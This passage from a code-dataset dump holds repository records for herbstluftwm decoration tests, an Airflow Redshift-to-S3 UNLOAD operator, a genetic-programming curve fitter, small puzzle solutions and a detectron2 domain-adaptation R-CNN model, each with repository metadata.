img.pixel(x, y) == expected_color, \\\n                f\"pixel at {x}, {y}\"\n\n    [frame_win] = x11.get_hlwm_frames()\n    expect_frame_bg_color(frame_win, (0xef, 0xcd, 0x32))\n\n    x11.create_client()\n\n    # one big tiled client should hide all of the frames bg color:\n    expect_frame_bg_color(frame_win, (0, 0, 0))\n\n\n@pytest.mark.parametrize(\"frame_bg_transparent\", ['on', 'off'])\ndef test_frame_holes_for_pseudotiled_client(hlwm, x11, frame_bg_transparent):\n    hlwm.attr.settings.show_frame_decorations = 'all'\n    bgcol = (0xef, 0xcd, 0x32)\n    hlwm.attr.settings.frame_bg_active_color = RawImage.rgb2string(bgcol)\n    hlwm.attr.settings.frame_bg_transparent = frame_bg_transparent\n    hlwm.attr.settings.frame_transparent_width = 8\n\n    [frame_win] = x11.get_hlwm_frames()\n    geo = frame_win.get_geometry()\n    w = geo.width\n    h = geo.height\n\n    # create a pseudotiled client that is very wide but not very high:\n    winhandle, winid = x11.create_client(geometry=(0, 0, w + 10, h // 3 - 10))\n    hlwm.attr.clients[winid].pseudotile = 'on'\n\n    img = x11.screenshot(frame_win)\n    assert (img.width, img.height) == (w, h)\n\n    # the frame is visible on the top and bottom\n    img.pixel(0, 0) == bgcol\n    img.pixel(0, h - 1) == bgcol\n    img.pixel(w // 2, 0) == bgcol\n    img.pixel(w // 2, h - 1) == bgcol\n\n    # but the frame is not visible on the left and right\n    black = (0, 0, 0)\n    img.pixel(0, h // 2) == black\n    img.pixel(w - 1, h // 2) == black\n    img.pixel(w // 2, h // 2) == black\n\n\n@pytest.mark.parametrize(\"method\", ['tab_*-attributes', 'other scheme'])\n@pytest.mark.parametrize(\"running_clients_num\", [3])\ndef test_decoration_tab_colors(hlwm, x11, method, running_clients, running_clients_num):\n    active_color = (200, 23, 0)  # something unique\n    normal_color = (23, 200, 0)  # something unique\n    hlwm.attr.theme.active.color = RawImage.rgb2string(active_color)\n    hlwm.attr.theme.active.title_color = RawImage.rgb2string(active_color)\n    if method == 'tab_*-attributes':\n        hlwm.attr.theme.active.tab_color = RawImage.rgb2string(normal_color)\n        hlwm.attr.theme.active.tab_title_color = RawImage.rgb2string(normal_color)\n        hlwm.attr.theme.active.tab_outer_color = RawImage.rgb2string(normal_color)\n        hlwm.attr.theme.active.tab_outer_width = 1\n    if method == 'other scheme':\n        hlwm.attr.theme.normal.color = RawImage.rgb2string(normal_color)\n        hlwm.attr.theme.normal.title_color = RawImage.rgb2string(normal_color)\n\n    hlwm.attr.theme.title_height = 20\n    hlwm.call(['set_layout', 'max'])\n    # split twice to make tab area smaller and screenshots faster :-)\n    hlwm.call(['split', 'bottom'])\n    hlwm.call(['split', 'bottom'])\n\n    winhandle = x11.window(hlwm.attr.clients.focus.winid())\n    img = x11.decoration_screenshot(winhandle)\n    color_count = img.color_count_dict()\n    # we have three tabs, and one of them should have the active color:\n    assert color_count[active_color] * (running_clients_num - 1) == color_count[normal_color]\n\n    # if we disable tabs, then the 'normal_color' should disappear:\n    hlwm.attr.settings.tabbed_max = False\n    winhandle = x11.window(hlwm.attr.clients.focus.winid())\n    img = x11.decoration_screenshot(winhandle)\n    new_color_count = img.color_count_dict()\n    assert normal_color not in new_color_count\n    assert new_color_count[active_color] == running_clients_num * color_count[active_color]\n\n\n@pytest.mark.parametrize(\"running_clients_num\", [3])\ndef test_decoration_tab_urgent(hlwm, x11, running_clients, running_clients_num):\n    active_color = (200, 23, 0)  # something unique\n    normal_color = (23, 200, 0)  # something unique\n    urgent_color = (17, 2, 189)  # something unique\n    hlwm.attr.theme.active.color = RawImage.rgb2string(active_color)\n    hlwm.attr.theme.active.title_color = RawImage.rgb2string(active_color)\n    hlwm.attr.theme.normal.color = RawImage.rgb2string(normal_color)\n    hlwm.attr.theme.normal.title_color = RawImage.rgb2string(normal_color)\n    hlwm.attr.theme.urgent.color = RawImage.rgb2string(urgent_color)\n    hlwm.attr.theme.urgent.title_color = RawImage.rgb2string(urgent_color)\n\n    hlwm.attr.theme.title_height = 20\n    hlwm.call(['load', '(clients max:0 {})'.format(' '.join(running_clients))])\n    # split twice to make tab area smaller and screenshots faster :-)\n    hlwm.call(['split', 'bottom'])\n    hlwm.call(['split', 'bottom'])\n\n    winhandle = x11.window(running_clients[0])\n    img = x11.decoration_screenshot(winhandle)\n    color_count = img.color_count_dict()\n    assert urgent_color not in color_count\n\n    # make one of the unfocused tabs urgent\n    x11.make_window_urgent(x11.window(running_clients[2]))\n    img = x11.decoration_screenshot(winhandle)\n    new_color_count = img.color_count_dict()\n    assert urgent_color in new_color_count\n    # there is one 'normal' and one 'urgent' tab, so the colors should\n    # appear similarly often:\n    assert new_color_count[urgent_color] == new_color_count[normal_color]\n    assert new_color_count[normal_color] == color_count[normal_color] / 2\n\n\ndef test_decoration_tab_title_update(hlwm, x11):\n    text_color = (212, 189, 140)\n    hlwm.attr.theme.title_color = RawImage.rgb2string(text_color)\n    hlwm.attr.theme.title_height = 20\n    hlwm.call(['set_layout', 'max'])\n    # split twice to make tab area smaller and screenshots faster :-)\n    hlwm.call(['split', 'bottom'])\n    hlwm.call(['split', 'bottom'])\n\n    count = 5\n    win_handles = [x11.create_client()[0] for _ in range(0, count)]\n\n    # empty all window titles:\n    for wh in win_handles:\n        x11.set_window_title(wh, '')\n\n    # focus handle 0:\n    hlwm.call(['jumpto', x11.winid_str(win_handles[0])])\n\n    # take a screenshot, it should not contain the text_color:\n    assert x11.decoration_screenshot(win_handles[0]).color_count(text_color) == 0\n\n    # change the title of an unfocused window:\n    x11.set_window_title(win_handles[2], 'SOMETHING')\n    # this change should now be visible in the tab bar, at least 5 pixels\n    # should have this color now:\n    assert x11.decoration_screenshot(win_handles[0]).color_count(text_color) > 5\n\n\n@pytest.mark.parametrize(\"running_clients_num\", [4])\ndef test_decoration_click_changes_tab(hlwm, mouse, running_clients, running_clients_num):\n    hlwm.call(['load', '(clients max:0 {})'.format(' '.join(running_clients))])\n    hlwm.attr.settings.tabbed_max = True\n    hlwm.attr.theme.title_height = 10\n\n    geo = hlwm.attr.clients.focus.decoration_geometry()\n    tabbar_top_left = geo.topleft()\n    tabbar_bottom_right = geo.topleft() + Point(geo.width, int(hlwm.attr.theme.title_height()))\n    for idx in reversed(range(0, running_clients_num)):\n        # pick a point between top left corner of the title bar\n        # and the bottom right corner of the title bar:\n        # the extra 0.5 makes that we click in the middle of the tab\n        ratio = (idx + 0.5) / running_clients_num\n        cursor = tabbar_top_left * (1 - ratio) + tabbar_bottom_right * ratio\n        mouse.move_to(cursor.x, cursor.y)\n        mouse.click('1')\n\n        assert hlwm.attr.clients.focus.winid() == running_clients[idx]\n\n\ndef test_decoration_click_into_window_does_not_change_tab(hlwm, mouse):\n    wins = hlwm.create_clients(2)\n    hlwm.call(['load', '(clients max:1 {})'.format(' '.join(wins))])\n    hlwm.attr.settings.tabbed_max = True\n    hlwm.attr.theme.title_height = 10\n\n    assert hlwm.attr.clients.focus.winid() == wins[1]\n\n    # move into the window and click:\n    mouse.move_into(wins[0], x=4, y=4)\n    mouse.click('1')\n\n    # this does not change the focus:\n    assert hlwm.attr.clients.focus.winid() == wins[1]\n\n    # to double check:\n    # if the cursor was 8px further up, the click\n    # however would change the tab\n    mouse.move_relative(0, -8)\n    mouse.click('1')\n\n    assert hlwm.attr.clients.focus.winid() == wins[0]\n\n\ndef test_textalign_completion(hlwm):\n    \"\"\"Test the TextAlign converter\"\"\"\n    assert hlwm.complete(['attr', 'theme.title_align']) \\\n        == sorted(['left', 'right', 'center'])\n    for k in hlwm.complete(['attr', 'theme.title_align']):\n        hlwm.attr.theme.title_align = k\n        assert hlwm.attr.theme.title_align() == k\n\n\ndef test_title_position_remains(hlwm, x11):\n    active_color = (212, 189, 140)\n    normal_color = (221, 198, 104)\n    hlwm.attr.theme.active.title_color = RawImage.rgb2string(active_color)\n    hlwm.attr.theme.normal.title_color = RawImage.rgb2string(normal_color)\n    hlwm.attr.settings.tabbed_max = True\n    hlwm.attr.theme.title_height = 10\n    hlwm.attr.theme.outer_width = 3\n    hlwm.attr.tags.focus.tiling.focused_frame.algorithm = 'max'\n\n    handle1, win1 = x11.create_client()\n    x11.set_window_title(handle1, 'client 1')\n    handle2, win2 = x11.create_client()\n    x11.set_window_title(handle1, 'client 2')\n    for align in ['left', 'center', 'right']:\n        hlwm.attr.theme.title_align = align\n        hlwm.call(['jumpto', win1])\n        focus1 = x11.decoration_screenshot(handle1)\n        hlwm.call(['jumpto', win2])\n        focus2 = x11.decoration_screenshot(handle2)\n        assert focus1.height == focus2.height\n        assert focus1.width == focus2.width\n        titlebar_height = 10\n        for x, y in itertools.product(range(0, focus1.width), range(0, titlebar_height)):\n            assert (focus1.pixel(x, y) == active_color) == (focus2.pixel(x, y) == normal_color), \\\n                f'mismatch at pixel ({x}, {y})'\n            assert (focus1.pixel(x, y) == normal_color) == (focus2.pixel(x, y) == active_color), \\\n                f'mismatch at pixel ({x}, {y})'\n\n\n@pytest.mark.parametrize(\"client_count\", [1, 2])\ndef test_decoration_title_align(hlwm, x11, client_count):\n    \"\"\"test the title_align attribute,\n    by computing the 'average' position of the title\n    \"\"\"\n    text_color = (212, 189, 140)\n    hlwm.attr.theme.title_color = RawImage.rgb2string(text_color)\n    hlwm.attr.settings.tabbed_max = True\n    hlwm.attr.theme.title_height = 10\n\n    win_handle, winid = x11.create_client()\n    hlwm.attr.tags.focus.tiling.focused_frame.algorithm = 'max'\n    while hlwm.attr.tags.focus.client_count() < client_count:\n        x11.create_client()\n\n    assert hlwm.attr.clients.focus.winid() == winid\n    x11.set_window_title(win_handle, '-')\n\n    # compute the 'average' title position\n    align_to_title_pos = {}\n    for align in ['left', 'right', 'center']:\n        hlwm.attr.theme.title_align = align\n        img = x11.decoration_screenshot(win_handle)\n        point_sum = Point(0, 0)\n        point_count = 0\n        for x, y in itertools.product(range(0, img.width), range(0, img.height)):\n            if img.pixel(x, y) == text_color:\n                point_sum.x += x\n                point_sum.y += y\n                point_count += 1\n        # compute the average point:\n        align_to_title_pos[align] = point_sum // point_count\n\n    # all titles should be on the same height:\n    assert align_to_title_pos['left'].y == align_to_title_pos['center'].y\n    assert align_to_title_pos['center'].y == align_to_title_pos['right'].y\n\n    # the x coordinate should be different by at least this:\n    # the width of the decoration, divided by the number of tabs\n    # and divided by roughly 3 :-)\n    x_diff = hlwm.attr.clients.focus.decoration_geometry().width / client_count / 3\n    assert align_to_title_pos['left'].x + x_diff < align_to_title_pos['center'].x\n    assert align_to_title_pos['center'].x + x_diff < align_to_title_pos['right'].x\n","repo_name":"herbstluftwm/herbstluftwm","sub_path":"tests/test_decorations.py","file_name":"test_decorations.py","file_ext":"py","file_size_in_byte":21560,"program_lang":"python","lang":"en","doc_type":"code","stars":1053,"dataset":"github-code","pt":"16"}
+{"seq_id":"13628675370","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.hooks.S3_hook import S3Hook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\n\nclass RedshiftToS3Transfer(BaseOperator):\n    \"\"\"\n    Executes an UNLOAD command to s3 as a CSV with headers\n\n    :param schema: reference to a specific schema in redshift database\n    :type schema: str\n    :param table: reference to a specific table in redshift database\n    :type table: str\n    :param s3_bucket: reference to a specific S3 bucket\n    :type s3_bucket: str\n    :param s3_key: reference to a specific S3 key\n    :type s3_key: str\n    :param redshift_conn_id: reference to a specific redshift database\n    :type redshift_conn_id: str\n    :param aws_conn_id: reference to a specific S3 connection\n    :type aws_conn_id: str\n    :param verify: Whether or not to verify SSL certificates for S3 connection.\n        By default SSL certificates are verified.\n        You can provide the following values:\n\n        - ``False``: do not validate SSL certificates. SSL will still be used\n                 (unless use_ssl is False), but SSL certificates will not be\n                 verified.\n        - ``path/to/cert/bundle.pem``: A filename of the CA cert bundle to uses.\n                 You can specify this argument if you want to use a different\n                 CA cert bundle than the one used by botocore.\n    :type verify: bool or str\n    :param unload_options: reference to a list of UNLOAD options\n    :type unload_options: list\n    :param autocommit: If set to True it will automatically commit the UNLOAD statement.\n        Otherwise it will be committed right before the redshift connection gets closed.\n    :type autocommit: bool\n    :param include_header: If set to True the s3 file contains the header columns.\n    :type include_header: bool\n    \"\"\"\n\n    template_fields = ()\n    template_ext = ()\n    ui_color = '#ededed'\n\n    @apply_defaults\n    def __init__(  # pylint: disable=too-many-arguments\n            self,\n            schema,\n            table,\n            s3_bucket,\n            s3_key,\n            redshift_conn_id='redshift_default',\n            aws_conn_id='aws_default',\n            verify=None,\n            unload_options=tuple(),\n            autocommit=False,\n            include_header=False,\n            *args, **kwargs):\n        super(RedshiftToS3Transfer, self).__init__(*args, **kwargs)\n        self.schema = schema\n        self.table = table\n        self.s3_bucket = s3_bucket\n        self.s3_key = s3_key\n        self.redshift_conn_id = redshift_conn_id\n        self.aws_conn_id = aws_conn_id\n        self.verify = verify\n        self.unload_options = unload_options\n        self.autocommit = autocommit\n        self.include_header = include_header\n\n        if self.include_header and 'HEADER' not in [uo.upper().strip() for uo in self.unload_options]:\n            self.unload_options = list(self.unload_options) + ['HEADER', ]\n\n    def execute(self, context):\n        postgres_hook = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n        s3_hook = S3Hook(aws_conn_id=self.aws_conn_id, verify=self.verify)\n\n        credentials = s3_hook.get_credentials()\n        unload_options = '\\n\\t\\t\\t'.join(self.unload_options)\n        select_query = \"SELECT * FROM {schema}.{table}\".format(schema=self.schema, table=self.table)\n        unload_query = \"\"\"\n                    UNLOAD ('{select_query}')\n                    TO 's3://{s3_bucket}/{s3_key}/{table}_'\n                    with credentials\n                    'aws_access_key_id={access_key};aws_secret_access_key={secret_key}'\n                    {unload_options};\n                    \"\"\".format(select_query=select_query,\n                               table=self.table,\n                               s3_bucket=self.s3_bucket,\n                               s3_key=self.s3_key,\n                               access_key=credentials.access_key,\n                               secret_key=credentials.secret_key,\n                               unload_options=unload_options)\n\n        self.log.info('Executing UNLOAD command...')\n        postgres_hook.run(unload_query, self.autocommit)\n        self.log.info(\"UNLOAD command complete...\")\n","repo_name":"OrvilleX/xflow","sub_path":"airflow/operators/redshift_to_s3_operator.py","file_name":"redshift_to_s3_operator.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"6223551727","text":"\nimport matplotlib.pyplot as plt\nfrom datatesting import extract_data\nfrom function_tree import evaluate, to_lisp, get_random_func\nfrom genetic_operators import cut_and_grow, shrink, hoist, crossover\nfrom generation_functions import generation\nfrom math import pi, log, sin, exp\nfrom sys import float_info\n\nvariables = {\n    'x':1\n}\n\n#NUM_DATA_POINTS = 150\n\n'''def mathFunc(x):\n    if x < NUM_DATA_POINTS/2:\n        return 10*sin(3*x) + 2*x\n    else:\n        return 10*sin(3*x)\n'''\n\ninput_array = extract_data('COVID19-eng.csv')\n#normalization_coeff = 10/(max(input_array))\n#for i in range(len(input_array)):\n#    input_array[i] = input_array[i]*normalization_coeff\n\n#print(input_array)\n\n#for k in range(NUM_DATA_POINTS):\n#    input_array.append(mathFunc(k))\n\n\n\n\n\n\n'''\nfor i in range(1000):\n    print(\"Generation Number: \" +str(i+2))\n    gen.evolve(10,0.4,0.3)\n'''\n\n\ngenNum = 1\n\nbase_cross_ratio = 0.01\nbase_rep_ratio = 0.0 \nMAX_GEN_NUM = 150000\nnum_of_gens = 1\n\nbest_of_runs = []\n\nexit_flag = False\n\n'''for _ in range(num_of_gens):\n    if exit_flag:\n        continue'''\ngen = generation(2500, variables, input_array)\ntry:\n    while(True):\n        cross_ratio = base_cross_ratio*(2/1+exp(-genNum/MAX_GEN_NUM)) - base_cross_ratio\n        print(\"Generation Number: \" +str(genNum))\n        best_candidate = gen.get_best_candidate()\n        print(\"Best Candidate: \"+to_lisp(gen.get_best_candidate()))\n        print(\"Longest candidate length: \"+ str(gen.get_longest_candidate()))\n        score = gen.get_fitness(gen.get_best_candidate(), variables)\n            #abs( evaluate(gen.get_best_candidate(), variables) - TARGET_VAL)\n\n\n        print(\"Score: \"+str(score/sum(i*i for i in input_array)))\n        if score/sum(i*i for i in input_array) < 0.01: # if you reach 1% error, break\n            break\n        print()\n            #gen.evolve(1,0.4,0)\n        gen.evolve(1,cross_ratio,0)\n        genNum = genNum + 1\n        if (genNum > MAX_GEN_NUM):\n            best_of_runs.append(best_candidate)\n            genNum = 0\n            break\nexcept TypeError:\n    pass\nexcept KeyboardInterrupt:\n    pass\n    #continue\n    '''except KeyboardInterrupt:\n        exit_flag = True\n        break'''\n\nbest_of_runs.append(best_candidate)\n\n\n\nprint(\"Randomly Generated Function: \" + to_lisp(best_candidate))\nprint(f\"Evaluate Results: {evaluate(best_candidate, variables)}\")\n\noutput_array = []\nlowest_score = float_info.max\nbest_cand_of_runs = best_of_runs[0]\nfor l in best_of_runs:\n    curr_score = gen.get_fitness(l, variables)\n    if curr_score < lowest_score:\n        lowest_score = curr_score\n        best_cand_of_runs = l\n\n\nfor i in range(len(input_array)):\n    variables['x'] = i\n    #output_array.append(evaluate(best_cand_of_runs, variables))\n    output_array.append(evaluate(best_candidate, variables))\n\nprint(best_of_runs)\n\nprint(\"Best Total Candidate: \"+to_lisp(best_cand_of_runs))\n\nplt.plot(input_array)\nplt.plot(output_array)\nplt.show()\n","repo_name":"markojovo/evo-algo","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33934301585","text":"with open(\"input12.txt\") as f:\n    content = f.readlines()\n\npart1 = 0\n\nloc = (0, 0)\ndir_idx = 0\ndirections = [(1,0), (0,-1), (-1,0), (0,1)]\n\nfor step in content:\n    ins = step[0]\n    num = int(step[1:])\n    if ins == \"F\":\n        new_loc = (loc[0] + num * directions[dir_idx][0], loc[1] +  num * directions[dir_idx][1])\n        loc = new_loc\n    if ins == \"N\":\n        new_loc = (loc[0], loc[1] + num)\n        loc = new_loc\n    if ins == \"S\":\n        new_loc = (loc[0], loc[1] - num)\n        loc = new_loc\n    if ins == \"E\":\n        new_loc = (loc[0] + num, loc[1])\n        loc = new_loc\n    if ins == \"W\":\n        new_loc = (loc[0] - num, loc[1])\n        loc = new_loc\n    if ins == \"R\":\n        num /= 90\n        dir_idx += int(num)\n        dir_idx %= 4\n    if ins == \"L\":\n        num /= 90\n        dir_idx -= int(num)\n        dir_idx %= 4\n\npart1 = abs(loc[0]) + abs(loc[1])\nprint(\"part 1 = \" + str(part1))","repo_name":"dzolotusky/advent-of-code","sub_path":"2020/12/12.1.py","file_name":"12.1.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32517277020","text":"import sys\n\n\ndef 자리합(N):\n    a = list(str(N))\n    result = 0\n    for i in range(len(a)):\n        result += int(a[i])\n    return result\n\n\nT = int(input())\nfor i in range(T):\n    Sum = 0\n    case = sys.stdin.readline().strip()\n    a = case.split()[0]\n    b = case.split()[1]\n    for j in range(int(a), int(b) + 1):\n        Sum += 자리합(j)\n    print(Sum)","repo_name":"jane516/algorithm","sub_path":"자리합_5425.py","file_name":"자리합_5425.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12588075675","text":"import logging\nimport numpy as np\nfrom typing import Optional, Tuple, Dict\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom fvcore.nn import sigmoid_focal_loss_jit\nimport fvcore.nn.weight_init as weight_init\n\nfrom detectron2.config import configurable\nfrom detectron2.data.detection_utils import convert_image_to_rgb\nfrom detectron2.structures import ImageList\nfrom detectron2.utils.events import get_event_storage\nfrom detectron2.utils.logger import log_first_n\nfrom detectron2.layers import ShapeSpec, GradientScalarLayer\n\nfrom ..backbone import Backbone, build_backbone\nfrom ..postprocessing import detector_postprocess\nfrom ..proposal_generator import build_proposal_generator\nfrom ..roi_heads import build_roi_heads\nfrom .build import META_ARCH_REGISTRY\n\n__all__ = [\"GeneralizedRCNN\", \"ProposalNetwork\"]\n\n\n@META_ARCH_REGISTRY.register()\nclass GeneralizedRCNN(nn.Module):\n    \"\"\"\n    Generalized R-CNN. Any models that contains the following three components:\n    1. Per-image feature extraction (aka backbone)\n    2. Region proposal generation\n    3. Per-region feature extraction and prediction\n    \"\"\"\n\n    @configurable\n    def __init__(\n            self,\n            *,\n            backbone: Backbone,\n            proposal_generator: nn.Module,\n            roi_heads: nn.Module,\n            global_da_heads: nn.Module,\n            local_da_heads: nn.Module,\n            cam_heads: nn.Module,\n            pixel_mean: Tuple[float],\n            pixel_std: Tuple[float],\n            input_format: Optional[str] = None,\n            vis_period: int = 0,\n    ):\n        \"\"\"\n        NOTE: this interface is experimental.\n\n        Args:\n            backbone: a backbone module, must follow detectron2's backbone interface\n            proposal_generator: a module that generates proposals using backbone features\n            roi_heads: a ROI head that performs per-region computation\n            pixel_mean, pixel_std: list or tuple with #channels element,\n                representing the per-channel mean and std to be used to normalize\n                the input image\n            input_format: describe the meaning of channels of input. Needed by visualization\n            vis_period: the period to run visualization. Set to 0 to disable.\n        \"\"\"\n        super().__init__()\n        self.backbone = backbone\n        self.proposal_generator = proposal_generator\n        self.roi_heads = roi_heads\n        self.global_da_heads = global_da_heads\n        self.local_da_heads = local_da_heads\n        self.cam_heads = cam_heads\n\n        self.input_format = input_format\n        self.vis_period = vis_period\n        if vis_period > 0:\n            assert input_format is not None, \"input_format is required for visualization!\"\n\n        self.register_buffer(\"pixel_mean\", torch.Tensor(pixel_mean).view(-1, 1, 1))\n        self.register_buffer(\"pixel_std\", torch.Tensor(pixel_std).view(-1, 1, 1))\n        assert (\n                self.pixel_mean.shape == self.pixel_std.shape\n        ), f\"{self.pixel_mean} and {self.pixel_std} have different shapes!\"\n\n    @classmethod\n    def from_config(cls, cfg):\n        backbone = build_backbone(cfg)\n        return {\n            \"backbone\": backbone,\n            \"proposal_generator\": build_proposal_generator(cfg, backbone.output_shape()),\n            \"roi_heads\": build_roi_heads(cfg, backbone.output_shape()),\n            \"global_da_heads\": GlobalDAHead(backbone.output_shape()),\n            \"local_da_heads\": LocalDAHead(backbone.output_shape()),\n            \"cam_heads\": CAMHead(backbone.output_shape(), cfg.MODEL.ROI_HEADS.NUM_CLASSES),\n            \"input_format\": cfg.INPUT.FORMAT,\n            \"vis_period\": cfg.VIS_PERIOD,\n            \"pixel_mean\": cfg.MODEL.PIXEL_MEAN,\n            \"pixel_std\": cfg.MODEL.PIXEL_STD,\n        }\n\n    @property\n    def device(self):\n        return self.pixel_mean.device\n\n    def visualize_training(self, batched_inputs, proposals):\n        \"\"\"\n        A function used to visualize images and proposals. It shows ground truth\n        bounding boxes on the original image and up to 20 predicted object\n        proposals on the original image. Users can implement different\n        visualization functions for different models.\n\n        Args:\n            batched_inputs (list): a list that contains input to the model.\n            proposals (list): a list that contains predicted proposals. Both\n                batched_inputs and proposals should have the same length.\n        \"\"\"\n        from detectron2.utils.visualizer import Visualizer\n\n        storage = get_event_storage()\n        max_vis_prop = 20\n\n        for input, prop in zip(batched_inputs, proposals):\n            img = input[\"image\"]\n            img = convert_image_to_rgb(img.permute(1, 2, 0), self.input_format)\n            v_gt = Visualizer(img, None)\n            v_gt = v_gt.overlay_instances(boxes=input[\"instances\"].gt_boxes)\n            anno_img = v_gt.get_image()\n            box_size = min(len(prop.proposal_boxes), max_vis_prop)\n            v_pred = Visualizer(img, None)\n            v_pred = v_pred.overlay_instances(\n                boxes=prop.proposal_boxes[0:box_size].tensor.cpu().numpy()\n            )\n            prop_img = v_pred.get_image()\n            vis_img = np.concatenate((anno_img, prop_img), axis=1)\n            vis_img = vis_img.transpose(2, 0, 1)\n            vis_name = \"Left: GT bounding boxes;  Right: Predicted proposals\"\n            storage.put_image(vis_name, vis_img)\n            break  # only visualize one image in a batch\n\n    def forward(self, batched_inputs):\n        \"\"\"\n        Args:\n            batched_inputs: a list, batched outputs of :class:`DatasetMapper` .\n                Each item in the list contains the inputs for one image.\n                For now, each item in the list is a dict that contains:\n\n                * image: Tensor, image in (C, H, W) format.\n                * instances (optional): groundtruth :class:`Instances`\n                * proposals (optional): :class:`Instances`, precomputed proposals.\n\n                Other information that's included in the original dicts, such as:\n\n                * \"height\", \"width\" (int): the output resolution of the model, used in inference.\n                  See :meth:`postprocess` for details.\n\n        Returns:\n            list[dict]:\n                Each dict is the output for one input image.\n                The dict contains one key \"instances\" whose value is a :class:`Instances`.\n                The :class:`Instances` object has the following keys:\n                \"pred_boxes\", \"pred_classes\", \"scores\", \"pred_masks\", \"pred_keypoints\"\n        \"\"\"\n        if not self.training:\n            return self.inference(batched_inputs)\n\n        images = self.preprocess_image(batched_inputs)\n        if \"instances\" in batched_inputs[0]:\n            gt_instances = [x[\"instances\"].to(self.device) for x in batched_inputs]\n        else:\n            gt_instances = None\n\n        features = self.backbone(images.tensor)\n\n        # batch_inputs = [target_inputs, source_inputs]\n        # source inputs\n        num_source_input = len(images) // 2\n        source_images = ImageList(\n            images.tensor[num_source_input:], images.image_sizes[num_source_input:]\n        )\n        source_gt_instances = gt_instances[num_source_input:]\n        source_features = {}\n        for feat_name in self.backbone._out_features:\n            source_features[feat_name] = features[feat_name][num_source_input:]\n        # target inputs\n        target_images = ImageList(\n            images.tensor[:num_source_input], images.image_sizes[:num_source_input]\n        )\n        target_gt_instances = gt_instances[:num_source_input]\n        target_features = {}\n        for feat_name in self.backbone._out_features:\n            target_features[feat_name] = features[feat_name][:num_source_input]\n\n        # (1) image-level class-agnostic alignment\n        global_dc_losses = self.global_da_heads(features[self.roi_heads.in_features[0]])  # res5 or res4\n        local_dc_losses = self.local_da_heads(features[list(features.keys())[0]])  # res2\n\n        # (2) image-level class-wise alignment\n        ic_losses = self.cam_heads(features[self.roi_heads.in_features[0]], gt_instances)\n\n        # Instance-level and Image-level recognition (IIR) unit:\n        # (3) instance-level foreground alignment\n        if self.proposal_generator:\n            source_proposals, source_proposal_losses = self.proposal_generator(\n                source_images, source_features, source_gt_instances\n            )\n\n            target_proposals = self.proposal_generator.forward_weak_w_grad(\n                target_images, target_features\n            )\n\n            proposals = target_proposals + source_proposals\n            proposal_losses = source_proposal_losses\n        else:\n            assert \"proposals\" in batched_inputs[0]\n            proposals = [x[\"proposals\"].to(self.device) for x in batched_inputs]\n            proposal_losses = {}\n\n        # (4) instance-level class-wise alignment\n        _, detector_losses = self.roi_heads(\n            source_images, source_features, source_proposals, source_gt_instances\n        )\n        img_cls_losses = self.roi_heads.forward_weak(\n            target_features, target_proposals, target_gt_instances\n        )\n\n        if self.vis_period > 0:\n            storage = get_event_storage()\n            if storage.iter % self.vis_period == 0:\n                self.visualize_training(batched_inputs, proposals)\n\n        losses = {}\n        losses.update(detector_losses)\n        losses.update(img_cls_losses)\n        losses.update(proposal_losses)\n        losses.update(global_dc_losses)\n        losses.update(local_dc_losses)\n        losses.update(ic_losses)\n        return losses\n\n    def inference(self, batched_inputs, detected_instances=None, do_postprocess=True):\n        \"\"\"\n        Run inference on the given inputs.\n\n        Args:\n            batched_inputs (list[dict]): same as in :meth:`forward`\n            detected_instances (None or list[Instances]): if not None, it\n                contains an `Instances` object per image. The `Instances`\n                object contains \"pred_boxes\" and \"pred_classes\" which are\n                known boxes in the image.\n                The inference will then skip the detection of bounding boxes,\n                and only predict other per-ROI outputs.\n            do_postprocess (bool): whether to apply post-processing on the outputs.\n\n        Returns:\n            same as in :meth:`forward`.\n        \"\"\"\n        assert not self.training\n\n        images = self.preprocess_image(batched_inputs)\n        features = self.backbone(images.tensor)\n\n        if detected_instances is None:\n            if self.proposal_generator:\n                proposals, _ = self.proposal_generator(images, features, None)\n            else:\n                assert \"proposals\" in batched_inputs[0]\n                proposals = [x[\"proposals\"].to(self.device) for x in batched_inputs]\n\n            results, _ = self.roi_heads(images, features, proposals, None)\n        else:\n            detected_instances = [x.to(self.device) for x in detected_instances]\n            results = self.roi_heads.forward_with_given_boxes(features, detected_instances)\n\n        if do_postprocess:\n            return GeneralizedRCNN._postprocess(results, batched_inputs, images.image_sizes)\n        else:\n            return results\n\n    def preprocess_image(self, batched_inputs):\n        \"\"\"\n        Normalize, pad and batch the input images.\n        \"\"\"\n        images = [x[\"image\"].to(self.device) for x in batched_inputs]\n        images = [(x - self.pixel_mean) / self.pixel_std for x in images]\n        images = ImageList.from_tensors(images, self.backbone.size_divisibility)\n        return images\n\n    @staticmethod\n    def _postprocess(instances, batched_inputs, image_sizes):\n        \"\"\"\n        Rescale the output instances to the target size.\n        \"\"\"\n        # note: private function; subject to changes\n        processed_results = []\n        for results_per_image, input_per_image, image_size in zip(\n                instances, batched_inputs, image_sizes\n        ):\n            height = input_per_image.get(\"height\", image_size[0])\n            width = input_per_image.get(\"width\", image_size[1])\n            r = detector_postprocess(results_per_image, height, width)\n            processed_results.append({\"instances\": r})\n        return processed_results\n\n\n@META_ARCH_REGISTRY.register()\nclass ProposalNetwork(nn.Module):\n    \"\"\"\n    A meta architecture that only predicts object proposals.\n    \"\"\"\n\n    def __init__(self, cfg):\n        super().__init__()\n        self.backbone = build_backbone(cfg)\n        self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape())\n\n        self.register_buffer(\"pixel_mean\", torch.Tensor(cfg.MODEL.PIXEL_MEAN).view(-1, 1, 1))\n        self.register_buffer(\"pixel_std\", torch.Tensor(cfg.MODEL.PIXEL_STD).view(-1, 1, 1))\n\n    @property\n    def device(self):\n        return self.pixel_mean.device\n\n    def forward(self, batched_inputs):\n        \"\"\"\n        Args:\n            Same as in :class:`GeneralizedRCNN.forward`\n\n        